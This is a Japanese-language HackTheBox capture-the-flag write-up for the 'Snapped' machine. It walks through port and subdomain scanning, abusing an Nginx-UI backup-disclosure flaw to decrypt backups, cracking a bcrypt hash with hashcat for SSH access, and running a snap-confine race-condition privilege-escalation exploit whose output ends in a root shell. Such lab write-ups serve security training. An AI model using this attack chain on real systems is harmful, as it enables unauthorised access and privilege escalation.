【HackTheBox】Snapped

ポートスキャン

# nmap -sS -T4 -p- -n -r -vv -oN nmap 10.129.14.225
Increasing send delay for 10.129.14.225 from 0 to 5 due to 627 out of 1566 dropped probes since last increase.
Increasing send delay for 10.129.14.225 from 5 to 10 due to 11 out of 13 dropped probes since last increase.
Nmap scan report for 10.129.14.225
Host is up, received echo-reply ttl 63 (0.20s latency).
Scanned at 2026-06-14 10:15:31 JST for 829s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/share/nmap
# Nmap done at Sun Jun 14 10:29:20 2026 -- 1 IP address (1 host up) scanned in 828.95 seconds

 

サブディレクトリ

$ ffuf -u http://snapped.htb/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories.txt

_______________________________________________

 :: Method           : GET
 :: URL              : http://admin.snapped.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

assets                  [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 194ms]
mcp                     [Status: 403, Size: 34, Words: 2, Lines: 1, Duration: 190ms]
:: Progress: [62281/62281] :: Job [1/1] :: 196 req/sec :: Duration: [0:05:19] :: Errors: 0 ::

 

サブドメイン

$ ffuf -u http://snapped.htb -H "HOST:FUZZ.snapped.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -fw 4  

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://snapped.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.snapped.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 4
________________________________________________

admin                   [Status: 200, Size: 1407, Words: 164, Lines: 50, Duration: 201ms]
:: Progress: [114442/114442] :: Job [1/1] :: 200 req/sec :: Duration: [0:09:42] :: Errors: 0 ::

 


Webページ

admin /adminやadmin /passwordではアクセスできませんでした。

バージョン情報が知りたいので、versionというファイルを開いて、2.3.2を見つけました。

Nginx-UIのバージョンか断定できないですが、これをもとに脆弱性情報を探します。

 

脆弱性調査

バックアップファイルのダウンロードと復号するキーとIV(初期ベクトル)の情報が取得できる脆弱性がありました。暗号化されたバックアップファイルを復号して閲覧することができます。このサイトにPoCもあるので使います。

github.com

http://admin.snapped.htb/api/backup へアクセスすると、バックアップファイルをダウンロードでき、レスポンスヘッダーにキーとIVが記載されています。

PoCを使って、ハッシュを取得しました。

rockyou.txtで解析できなかったので、復号されたほかのファイルで手掛かり探します。

初期アクセス

Nginx-UIのデータベースを見つけました。

$ sqlite3 database.db
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .table
acme_users         configs            namespaces         sites            
auth_tokens        dns_credentials    nginx_log_indices  streams          
auto_backups       dns_domains        nodes              upstream_configs 
ban_ips            external_notifies  notifications      users            
certs              llm_sessions       passkeys         
config_backups     migrations         site_configs     
sqlite> SELECT * FROM users;
1|2026-03-19 08:22:54.41011219-04:00|2026-03-19 08:39:11.562741743-04:00||admin|$2a$10$8YdBq4e.WeQn8gv9E0ehh.quy8D/4mXHHY4ALLMAzgFPTrIVltEvm|1||g�

|�7�ĝ�*�:���(��\�D�O�}u#,�|en
2|2026-03-19 09:54:01.989628406-04:00|2026-03-19 09:54:01.989628406-04:00||jonathan|$2a$10$8M7JZSRLKdtJpx9YRUNTmODN.pKoBsoGCBi5Z8/WVGO2od9oCSyWq|1||,��զ�H�։��e)5U��Z��▒KĦ"D���W▒|en
sqlite> 

hashcatで解析します。

$ hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt

$2a$10$8M7JZSRLKdtJpx9YRUNTmODN.pKoBsoGCBi5Z8/WVGO2od9oCSyWq:linkinpark

jonathanのパスワードを取得し、SSHアクセスできました。

権限昇格

rootで動いてるプロセスを調べてたところ、snapedというサービスが動いてることを見つけました。

バージョンが2.63とわかり、脆弱性を見つけました。

github.com

 

マシン上で実行して、rootになれました。

$ ./exploit ./librootshell.so
================================================================
    CVE-2026-3888 — snap-confine / systemd-tmpfiles SUID LPE
================================================================
[*] Payload: /home/jonathan/./librootshell.so (9056 bytes)

[Phase 1] Entering Firefox sandbox...
[+] Inner shell PID: 84795

[Phase 2] Waiting for .snap deletion...
[*] Polling (up to 30 days on stock Ubuntu).
[*] Hint: use -s to skip.

id
[+] .snap deleted.

[Phase 3] Destroying cached mount namespace...
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_df21ev//dev: No such file or directory
[+] Namespace destroyed.

[Phase 4] Setting up and running the race...
[*]   Working directory: /proc/84795/cwd
[*]   Building .snap and .exchange...
[*]   285 entries copied to exchange directory
[*]   Starting race...
[*]   Monitoring snap-confine (child PID 85172)...

[!]   TRIGGER — swapping directories...
[+]   SWAP DONE — race won!
[*]   ld-linux in namespace: jonathan:jonathan 755
[+]   Poisoned namespace PID: 85172

[Phase 5] Injecting payload into poisoned namespace...
[+]   ld-linux owned by uid 1000 (attacker). Race confirmed.
[*]   Planting busybox...
[*]   Writing escape script → /tmp/sh
[*]   Overwriting ld-linux-x86-64.so.2...
[+]   Payload injected.

[Phase 6] Triggering root via SUID snap-confine...
[*]   snap-confine → snap-confine (SUID trigger)
[*]   Exit status: 0

[Phase 7] Verifying...
[+] SUID root bash: /var/snap/firefox/common/bash (mode 4755)
[*] Cleaning up background processes...

================================================================
  ROOT SHELL: /var/snap/firefox/common/bash -p
================================================================

bash-5.1# 
bash-5.1# id
uid=1000(jonathan) gid=1000(jonathan) euid=0(root) groups=1000(jonathan)
bash-5.1# cd /root
bash-5.1# ls -l
total 12
drwxr-xr-x 2 root root 4096 Mar 19 08:22 nginxui
-rw-r--r-- 1 root root   33 Jun 13 21:10 root.txt
drwx------ 6 root root 4096 Mar 18 17:13 snap
bash-5.1#